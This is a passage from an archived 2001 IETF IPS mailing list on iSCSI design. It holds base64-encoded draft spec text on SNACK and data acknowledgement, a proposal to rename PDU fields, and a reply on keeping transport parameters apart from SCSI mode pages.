dG9yIE1VU1QgaXNzdWUgYSBEYXRhQUNLIHR5cGUgb2YgU05BQ0sgaW5kaWNhdGluZyB0aGUgbmV4 dCBleHBlY3RlZCBEYXRhU04gZm9yIHRoaXMgdGFzay4NCg0KRm9yIEJpZGlyZWN0aW9uYWwgb3Bl cmF0aW9ucywgdGhlIEYgYml0IGlzIDEgYm90aCBmb3IgdGhlIGVuZCBvZiB0aGUgaW5wdXQgc2Vx dWVuY2VzIGFzIHdlbGwgYXMgdGhlIGVuZCBvZiB0aGUgb3V0cHV0IHNlcXVlbmNlcy4gDQoNCiAN Ci0tLS0tLS0tLS0tDQoNCjMuMTYgIFNOQUNLIFJlcXVlc3QNCg0KDQpCeXRlIC8gICAgMCAgICAg ICB8ICAgICAgIDEgICAgICAgfCAgICAgICAyICAgICAgIHwgICAgICAgMyAgICAgICB8DQogICAv ICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgIHwgICAgICAgICAg ICAgICB8DQogIHw3IDYgNSA0IDMgMiAxIDB8NyA2IDUgNCAzIDIgMSAwfDcgNiA1IDQgMyAyIDEg MHw3IDYgNSA0IDMgMiAxIDB8DQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0t LS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQogMHwwfDF8IDB4MTAgICAgICB8MXxSc3J2 ZHwgVHlwZSAgfCBSZXNlcnZlZCAgICAgICAgICAgICAgICAgICAgICB8DQogICstLS0tLS0tLS0t LS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQog NC8gUmVzZXJ2ZWQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAvDQogKy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAvDQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0t Ky0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQoxNnwgSW5pdGlhdG9yIFRhc2sgVGFn IG9yIDB4ZmZmZmZmZmYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogICstLS0tLS0t LS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0r DQoyMHwgQmVnUnVuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICB8DQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0t LS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQoyNHwgUnVuTGVuZ3RoICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogICstLS0tLS0tLS0tLS0tLS0r LS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQoyOHwgRXhw U3RhdFNOICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICB8DQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSst LS0tLS0tLS0tLS0tLS0rDQozMnwgUmVzZXJ2ZWQgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0t LS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQozNnwgRXhwRGF0YVNOIG9y IFJlc2VydmVkICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogICst LS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0t LS0tLS0rDQozMi8gUmVzZXJ2ZWQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvDQogKy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvDQogICstLS0tLS0tLS0tLS0tLS0rLS0tLS0t LS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rDQo0OA0KDQpTdXBwb3J0 IGZvciBTTkFDSyBpcyBvcHRpb25hbC4NCg0KU05BQ0sgcmVxdWVzdCBpcyB1c2VkIHRvIHJlcXVl c3QgcmV0cmFuc21pc3Npb24gb2YgbnVtYmVyZWQtcmVzcG9uc2VzLCBkYXRhIG9yIFIyVCBQRFVz IGZyb20gdGhlIHRhcmdldC4gIFRoZSBTTkFDSyByZXF1ZXN0IGluZGljYXRlcyB0byB0aGUgdGFy Z2V0IHRoZSBtaXNzZWQgbnVtYmVyZWQtcmVzcG9uc2Ugb3IgZGF0YSBydW4sIHdoZXJlIHRoZSBy dW4gaXMgY29tcG9zZWQgb2YgYW4gaW5pdGlhbCBtaXNzZWQgU3RhdFNOLCBEYXRhU04gb3IgUjJU U04gYW5kIHRoZSBudW1iZXIgb2YgYWRkaXRpb25hbCBtaXNzZWQgU3RhdHVzLCBEYXRhIG9yIFIy VCBQRFVzICgwIG1lYW5zIG9ubHkgdGhlIGluaXRpYWwpLg0KDQpUaGUgbnVtYmVyZWQtcmVzcG9u c2UsIERhdGEgb3IgUjJUIFBEVXMgcmVxdWVzdGVkIGJ5IGEgU05BQ0sgaGF2ZSB0byBiZSBkZWxp dmVyZWQgYXMgZXhhY3QgcmVwbGljYXMgb2YgdGhlIG9uZXMgdGhlIGluaXRpYXRvciBtaXNzZWQg aW5jbHVkaW5nIGFsbCBpdHMgZmxhZ3MuIA0KDQpBbnkgU05BQ0sgcmVxdWVzdGluZyBhIG51bWJl cmVkLXJlc3BvbnNlLCBEYXRhIG9yIFIyVCB0aGF0IHdhcyBub3Qgc2VudCBieSB0aGUgdGFyZ2V0 IE1VU1QgYmUgcmVqZWN0ZWQgd2l0aCBhIHJlYXNvbiBjb2RlIG9mICJJbnZhbGlkIFNOQUNLIi4N Cg0KU05BQ0sgaXMgYWxzbyB1c2VkIHRvIHBvc2l0aXZlbHkgYWNrbm93bGVkZ2UgRGF0YS1JbiBQ RFVzLg0KDQozLjE2LjEgVHlwZQ0KDQpUaGlzIGZpZWxkIGVuY29kZXMgdGhlIFNOQUNLIGZ1bmN0 aW9uIGFzIGZvbGxvd3M6DQoNCjAtRGF0YS9SMlQgU05BQ0sgLSByZXF1ZXN0aW5nIHJldHJhbnNt aXNzaW9uIG9mIGEgRGF0YS1JbiBvciBSMlQgUERVDQoxLVN0YXR1cyBTTkFDSyAtIHJlcXVlc3Rp bmcgcmV0cmFuc21pc3Npb24gb2YgYSBudW1iZXJlZCByZXNwb25zZQ0KMi1EYXRhQUNLIC0gcG9z aXRpdmVseSBhY2tub3dsZWRnZXMgRGF0YS1JbiBQRFVzIA0KDQpBbGwgb3RoZXIgdmFsdWVzIGFy ZSByZXNlcnZlZC4NCg0KRGF0YS9SMlQgU05BQ0sgZm9yIGEgY29tbWFuZCBNVVNUIHByZWNlZGUg c3RhdHVzIGFja25vd2xlZGdlbWVudCBmb3IgdGhlIGdpdmVuIGNvbW1hbmQuDQoNCkZvciBhIERh dGEvUjJUIFNOQUNLIG9yIGEgRGF0YUFDSywgdGhlIEluaXRpYXRvciBUYXNrIFRhZyBNVVNUIGJl IHNldCB0byB0aGUgSW5pdGlhdG9yIFRhc2sgVGFnIG9mIHRoZSByZWZlcmVuY2VkIENvbW1hbmQu IE90aGVyd2lzZSwgaXQgaXMgcmVzZXJ2ZWQuDQoNCkZvciBhIFN0YXR1cyBTTkFDSyB0aGUgRXhw RGF0YVNOIGZpZWxkIGlzIHJlc2VydmVkLg0KDQpBbiBpU0NTSSB0YXJnZXQgdGhhdCBkb2VzIG5v dCBzdXBwb3J0IHJlY292ZXJ5IHdpdGhpbiBjb25uZWN0aW9uIE1BWSBkaXNjYXJkIHN0YXR1cyBT TkFDSy4gSWYgdGhlIHRhcmdldCBzdXBwb3J0cyBjb21tYW5kIHJlY292ZXJ5IHdpdGhpbiBzZXNz aW9uIGl0IE1BWSBkaXNjYXJkIHRoZSBTTkFDSyBhZnRlciB3aGljaCBpdCBNVVNUIGlzc3VlIGFu IEFzeW5jaHJvbm91cyBNZXNzYWdlIFBEVSB3aXRoIGFuIGlTQ1NJIGV2ZW50IGluZGljYXRpbmcg IlJlcXVlc3QgTG9nb3V0Ii4NCg0KSWYgYW4gaW5pdGlhdG9yIG9wZXJhdGVzIGF0IEVycm9yUmVj b3ZlcnlMZXZlbCAxIG9yIGhpZ2hlciBpdCBNVVNUIGlzc3VlIGEgU05BQ0sgb2YgdHlwZSBEYXRh QUNLIGFmdGVyIHJlY2VpdmluZyBhIERhdGEtSW4gUERVIHdpdGggdGhlIEYgYml0IHNldCB0byAx IGFuZCB0aGUgUyBiaXQgMC4NCg0KMy4xNi4yIEJlZ1J1bg0KDQpGaXJzdCBtaXNzZWQgRGF0YVNO LCBSMlRTTiBvciBTdGF0U04NCg0KMy4xNi4zIFJ1bkxlbmd0aA0KDQpSdW5MZW5ndGggaXMgdGhl IG51bWJlciBvZiBzZXF1ZW50aWFsIG1pc3NlZCBEYXRhU04sIFIyVFNOIG9yIFN0YXRTTi4gUnVu TGVuZ3RoIDAgc2lnbmFscyB0aGF0IGFsbCBEYXRhLUluLCBSMlQgb3IgUmVzcG9uc2UgUERVcyBj YXJyeWluZyBudW1iZXJzIGVxdWFsIG9yIGdyZWF0ZXIgdG8gQmVnUnVuIGhhdmUgdG8gYmUgcmVz ZW50Lg0KDQoNCg== --0__=C2256ACF003C6AE38f9e8a93df938690918cC2256ACF003C6AE3-- From owner-ips@ece.cmu.edu Sat Sep 22 12:37:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02220 for ; Sat, 22 Sep 2001 12:37:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8MFiZj21264 for ips-outgoing; Sat, 22 Sep 2001 11:44:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (mars.iol.unh.edu [132.177.121.222]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8MFiXP21259 for ; Sat, 22 Sep 2001 11:44:33 -0400 (EDT) Received: from localhost (rdr@localhost) by iol.unh.edu (8.9.3/8.9.3) with ESMTP id LAA24285; Sat, 22 Sep 2001 11:44:22 -0400 (EDT) Date: Sat, 22 Sep 2001 11:44:22 -0400 From: "Robert D. Russell" To: julian_satran@il.ibm.com cc: ips@ece.cmu.edu Subject: RE: iSCSI PDU Formats Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: I would like to request 2 further changes to PDU formats: 1. In the SCSI Response PDU, the field starting at byte 20 used to be called "Basic Residual Count", but is now called "Residual Count". It is valid only when either the "U" or "O" bit is set. In the Data-in PDU, the field starting at byte 20 is reserved, but the field starting at byte 44 is called "Residual Count" and is valid only when either the "U" or "O" bit is set. I propose moving the "Residual Count" field in the Data-in PDU from byte 44 to byte 20, so that it is consistent with the SCSI Response PDU. (The field in byte 44 of the Data-in PDU would then become reserved.) 2. The Login Request and Login Response PDUs now have a new 4-bit field labelled CNxSG. This field consists of 2 2-bit parts. I propose labeling each part separately -- bits 0-1 to be labeled "CS" for Current Stage, bits 2-3 "NS" for Next Stage. I believe this makes understanding and coding much simpler, because in all cases these fields are interpreted separately, and when the T bit is 0 the Next Stage has to be ignored. It is a lot easier to ignore it if it is a separate field. Thank you. Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Sat Sep 22 22:51:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08013 for ; Sat, 22 Sep 2001 22:51:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8N1kxY21015 for ips-outgoing; Sat, 22 Sep 2001 21:46:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8N1kuP21008 for ; Sat, 22 Sep 2001 21:46:56 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id DAA62802 for ; Sun, 23 Sep 2001 03:46:44 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8N1kia172080 for ; Sun, 23 Sep 2001 03:46:44 +0200 Subject: Re: iSCSI - positive data ack - change proposal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 23 Sep 2001 04:46:05 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 23/09/2001 04:46:44 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=C2256AD0000950628f9e8a93df938690918cC2256AD000095062" Content-Disposition: inline Sender: owner-ips@ece.cmu.edu Precedence: bulk --0__=C2256AD0000950628f9e8a93df938690918cC2256AD000095062 Content-type: text/plain; charset=us-ascii Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** --0__=C2256AD0000950628f9e8a93df938690918cC2256AD000095062 Content-type: text/plain; name="ack.txt" Content-Transfer-Encoding: base64 V2l0aGluIDIuMi4yLjMNCi0tLS0tLS0tLS0tLS0tLQ0KDQpJbml0aWF0b3JzIE1BWSBhbHNvIGFj a25vd2xlZGdlIHJlY2VpdmVkIGRhdGEgYW5kIHJlZHVjZSBieSB0aGlzIHRoZSByZXNvdXJjZXMg YSB0YXJnZXQgbmVlZHMgdG8gZGVkaWNhdGUgdG8gZGF0YSByZWNvdmVyeSBpZiB0YXJnZXQgYW5k IGluaXRpYXRvciBzdXBwb3J0IHRoaXMgdHlwZSBvZiByZWNvdmVyeS4NCg0KDQotLS0tLS0NCjMu Ny4xIEYgKEZpbmFsKSBCaXQNCg0KRm9yIG91dGdvaW5nIGRhdGEsIHRoaXMgYml0IGlzIDEgZm9y IHRoZSBsYXN0IFBEVSBvZiB1bnNvbGljaXRlZCBkYXRhIG9yIHRoZSBsYXN0IFBEVSBvZiBhIHNl cXVlbmNlIGFuc3dlcmluZyBhbiBSMlQuDQoNCkZvciBpbmNvbWluZyBkYXRhLCB0aGlzIGJpdCBp cyAxIGZvciB0aGUgbGFzdCBpbnB1dCAocmVhZCkgZGF0YSBQRFUgb2YgYSBzZXF1ZW5jZS4gIElu cHV0IGNhbiBiZSBzcGxpdCBpbiBzZXZlcmFsIHNlcXVlbmNlcyBlYWNoIG9uZSBoYXZpbmcgaXQn cyBvd24gRiBiaXQuIFNwbGl0dGluZyBpbiBzZXF1ZW5jZXMgZG9lcyBub3QgYWZmZWN0IERhdGFT TiBjb3VudGluZyBvbiBEYXRhLUluIFBEVXMgYnV0IE1BWSBiZSB1c2VkIGFzIGEgImNoYW5nZSBk aXJlY3Rpb24iIGluZGljYXRpb24gZm9yIEJpZGlyZWN0aW9uYWwgb3BlcmF0aW9ucyB0aGF0IG5l ZWQgc3VjaCBhIGNoYW5nZSBhbmQvb3IgZW5kIG9mIHJlY292ZXJhYmxlIHNlcXVlbmNlcyBieSB0 YXJnZXRzIHdpdGggYSBsaW1pdGVkIHJldHJhbnNtaXNzaW9uIGJ1ZmZlci4gIFVwb24gcmVjZWl2 aW5nIGFuIERhdGEtSW4gUERVIHdpdGggdGhlIEYgc2V0IHRvIDEgaW4gYSBzZXNzaW9uIHdpdGgg RXJyb3JSZWNvdmVyeUxldmVsIDEgb3IgaGlnaGVyIHRoZSBpbml0aWF0b3IgTVVTVCBpc3N1ZSBh IERhdGFBQ0sgdHlwZSBvZiBTTkFDSyBpbmRpY2F0aW5nIHRoZSBuZXh0IGV4cGVjdGVkIERhdGFT TiBmb3IgdGhpcyB0YXNrLg0KDQpGb3IgQmlkaXJlY3Rpb25hbCBvcGVyYXRpb25zLCB0aGUgRiBi aXQgaXMgMSBib3RoIGZvciB0aGUgZW5kIG9mIHRoZSBpbnB1dCBzZXF1ZW5jZXMgYXMgd2VsbCBh cyB0aGUgZW5kIG9mIHRoZSBvdXRwdXQgc2VxdWVuY2VzLiANCg0KIA0KLS0tLS0tLS0tLS0NCg0K My4xNiAgU05BQ0sgUmVxdWVzdA0KDQoNCkJ5dGUgLyAgICAwICAgICAgIHwgICAgICAgMSAgICAg ICB8ICAgICAgIDIgICAgICAgfCAgICAgICAzICAgICAgIHwNCiAgIC8gICAgICAgICAgICAgIHwg ICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgIHwNCiAgfDcgNiA1 IDQgMyAyIDEgMHw3IDYgNSA0IDMgMiAxIDB8NyA2IDUgNCAzIDIgMSAwfDcgNiA1IDQgMyAyIDEg MHwNCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0t LS0tLS0tLS0tLS0tLSsNCiAwfDB8MXwgMHgxMCAgICAgIHwxfFJzcnZkfCBUeXBlICB8IFJlc2Vy dmVkICAgICAgICAgICAgICAgICAgICAgIHwNCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0t LS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCiA0LyBSZXNlcnZlZCAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8NCiArLyAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIC8NCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0t Ky0tLS0tLS0tLS0tLS0tLSsNCjE2fCBJbml0aWF0b3IgVGFzayBUYWcgb3IgMHhmZmZmZmZmZiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0t LS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCjIwfCBCZWdSdW4gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAg Ky0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0t LS0tLS0tLSsNCjI0fCBSdW5MZW5ndGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIHwNCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0r LS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCjI4fCBFeHBTdGF0U04gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgKy0tLS0tLS0t LS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsN CjMyfCBSZXNlcnZlZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIHwNCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0t LS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCjM2fCBFeHBEYXRhU04gb3IgUmVzZXJ2ZWQgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgKy0tLS0tLS0tLS0tLS0tLSst LS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCjMyLyBSZXNl cnZlZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IC8NCiArLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIC8NCiAgKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0t LS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSsNCjQ4DQoNClN1cHBvcnQgZm9yIFNOQUNLIGlzIG9w dGlvbmFsLg0KDQpTTkFDSyByZXF1ZXN0IGlzIHVzZWQgdG8gcmVxdWVzdCByZXRyYW5zbWlzc2lv biBvZiBudW1iZXJlZC1yZXNwb25zZXMsIGRhdGEgb3IgUjJUIFBEVXMgZnJvbSB0aGUgdGFyZ2V0 LiAgVGhlIFNOQUNLIHJlcXVlc3QgaW5kaWNhdGVzIHRvIHRoZSB0YXJnZXQgdGhlIG1pc3NlZCBu dW1iZXJlZC1yZXNwb25zZSBvciBkYXRhIHJ1biwgd2hlcmUgdGhlIHJ1biBpcyBjb21wb3NlZCBv ZiBhbiBpbml0aWFsIG1pc3NlZCBTdGF0U04sIERhdGFTTiBvciBSMlRTTiBhbmQgdGhlIG51bWJl ciBvZiBhZGRpdGlvbmFsIG1pc3NlZCBTdGF0dXMsIERhdGEgb3IgUjJUIFBEVXMgKDAgbWVhbnMg b25seSB0aGUgaW5pdGlhbCkuDQoNClRoZSBudW1iZXJlZC1yZXNwb25zZSwgRGF0YSBvciBSMlQg UERVcyByZXF1ZXN0ZWQgYnkgYSBTTkFDSyBoYXZlIHRvIGJlIGRlbGl2ZXJlZCBhcyBleGFjdCBy ZXBsaWNhcyBvZiB0aGUgb25lcyB0aGUgaW5pdGlhdG9yIG1pc3NlZCBpbmNsdWRpbmcgYWxsIGl0 cyBmbGFncy4gDQoNCkFueSBTTkFDSyByZXF1ZXN0aW5nIGEgbnVtYmVyZWQtcmVzcG9uc2UsIERh dGEgb3IgUjJUIHRoYXQgd2FzIG5vdCBzZW50IGJ5IHRoZSB0YXJnZXQgTVVTVCBiZSByZWplY3Rl ZCB3aXRoIGEgcmVhc29uIGNvZGUgb2YgIkludmFsaWQgU05BQ0siLg0KDQpTTkFDSyBpcyBhbHNv IHVzZWQgdG8gcG9zaXRpdmVseSBhY2tub3dsZWRnZSBEYXRhLUluIFBEVXMuDQoNCjMuMTYuMSBU eXBlDQoNClRoaXMgZmllbGQgZW5jb2RlcyB0aGUgU05BQ0sgZnVuY3Rpb24gYXMgZm9sbG93czoN Cg0KMC1EYXRhL1IyVCBTTkFDSyAtIHJlcXVlc3RpbmcgcmV0cmFuc21pc3Npb24gb2YgYSBEYXRh LUluIG9yIFIyVCBQRFUNCjEtU3RhdHVzIFNOQUNLIC0gcmVxdWVzdGluZyByZXRyYW5zbWlzc2lv biBvZiBhIG51bWJlcmVkIHJlc3BvbnNlDQoyLURhdGFBQ0sgLSBwb3NpdGl2ZWx5IGFja25vd2xl ZGdlcyBEYXRhLUluIFBEVXMgDQoNCkFsbCBvdGhlciB2YWx1ZXMgYXJlIHJlc2VydmVkLg0KDQpE YXRhL1IyVCBTTkFDSyBmb3IgYSBjb21tYW5kIE1VU1QgcHJlY2VkZSBzdGF0dXMgYWNrbm93bGVk Z2VtZW50IGZvciB0aGUgZ2l2ZW4gY29tbWFuZC4NCg0KRm9yIGEgRGF0YS9SMlQgU05BQ0sgb3Ig YSBEYXRhQUNLLCB0aGUgSW5pdGlhdG9yIFRhc2sgVGFnIE1VU1QgYmUgc2V0IHRvIHRoZSBJbml0 aWF0b3IgVGFzayBUYWcgb2YgdGhlIHJlZmVyZW5jZWQgQ29tbWFuZC4gT3RoZXJ3aXNlLCBpdCBp cyByZXNlcnZlZC4NCg0KRm9yIGEgU3RhdHVzIFNOQUNLIHRoZSBFeHBEYXRhU04gZmllbGQgaXMg cmVzZXJ2ZWQuDQoNCkFuIGlTQ1NJIHRhcmdldCB0aGF0IGRvZXMgbm90IHN1cHBvcnQgcmVjb3Zl cnkgd2l0aGluIGNvbm5lY3Rpb24gTUFZIGRpc2NhcmQgc3RhdHVzIFNOQUNLLiBJZiB0aGUgdGFy Z2V0IHN1cHBvcnRzIGNvbW1hbmQgcmVjb3Zlcnkgd2l0aGluIHNlc3Npb24gaXQgTUFZIGRpc2Nh cmQgdGhlIFNOQUNLIGFmdGVyIHdoaWNoIGl0IE1VU1QgaXNzdWUgYW4gQXN5bmNocm9ub3VzIE1l c3NhZ2UgUERVIHdpdGggYW4gaVNDU0kgZXZlbnQgaW5kaWNhdGluZyAiUmVxdWVzdCBMb2dvdXQi Lg0KDQpJZiBhbiBpbml0aWF0b3Igb3BlcmF0ZXMgYXQgRXJyb3JSZWNvdmVyeUxldmVsIDEgb3Ig aGlnaGVyIGl0IE1VU1QgaXNzdWUgYSBTTkFDSyBvZiB0eXBlIERhdGFBQ0sgYWZ0ZXIgcmVjZWl2 aW5nIGEgRGF0YS1JbiBQRFUgd2l0aCB0aGUgRiBiaXQgc2V0IHRvIDEuDQoNCjMuMTYuMiBCZWdS dW4NCg0KRmlyc3QgbWlzc2VkIERhdGFTTiwgUjJUU04gb3IgU3RhdFNODQoNCjMuMTYuMyBSdW5M ZW5ndGgNCg0KUnVuTGVuZ3RoIGlzIHRoZSBudW1iZXIgb2Ygc2VxdWVudGlhbCBtaXNzZWQgRGF0 YVNOLCBSMlRTTiBvciBTdGF0U04uIFJ1bkxlbmd0aCAwIHNpZ25hbHMgdGhhdCBhbGwgRGF0YS1J biwgUjJUIG9yIFJlc3BvbnNlIFBEVXMgY2FycnlpbmcgbnVtYmVycyBlcXVhbCBvciBncmVhdGVy IHRvIEJlZ1J1biBoYXZlIHRvIGJlIHJlc2VudC4NCg0KDQo= --0__=C2256AD0000950628f9e8a93df938690918cC2256AD000095062-- From owner-ips@ece.cmu.edu Mon Sep 24 09:55:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09946 for ; Mon, 24 Sep 2001 09:55:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8O0vAn01623 for ips-outgoing; Sun, 23 Sep 2001 20:57:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8O0v8P01618 for ; Sun, 23 Sep 2001 20:57:08 -0400 (EDT) Received: from trebia.com (4.sun6.dialup.G4.NET [216.177.30.4]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TJVWWRFB; Sun, 23 Sep 2001 21:01:37 -0400 Message-ID: <3BAE8523.7F8F77E1@trebia.com> Date: Sun, 23 Sep 2001 20:58:11 -0400 From: James Smart Reply-To: james.smart@trebia.com X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" CC: Santosh Rao , IPS Reflector , T10 Reflector Subject: Re: iscsi : default iscsi mode page settings. References: <78AF3C342AEAEF4BA33B35A8A15668C6019E203B@cceexc17.americas.cpqcorp.net> <3BAB9495.F7BB3B9A@cup.hp.com> <005601c14485$41757380$0501fea9@SANJEEV> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit In my mind, this completely illustrates why there should be a clean division between SCSI device server parameters and transport parameters. Transport controls should be controlled via the transport - by a transport mechanism, with the SCSI Device completely unware of the transport (yes, I'm a layering purist). I've always completely disliked the notion that you had to fully come up on the transport to send a SCSI command to obtain/change transport information. The tightly integrated implementations (transport + scsi) may have succeeded earlier in this argument (especially for FCP and PLDA), but in the end, it breaks down horrendously as the more complex environments are put together (such as multi-initiator (aka SAN) environments), or hardware is moved from one configuration to another (and heaven forbid you can't communicate at the transport level due to a saved parameter, thus you can't send the scsi command to change the parameter!). -- James "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > * From the T10 Reflector (t10@t10.org), posted by: > * "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" > * > > ----- Original Message ----- > From: "Santosh Rao" > To: "IPS Reflector" > Cc: "T10 Reflector" > Sent: Friday, September 21, 2001 9:27 PM > Subject: Re: 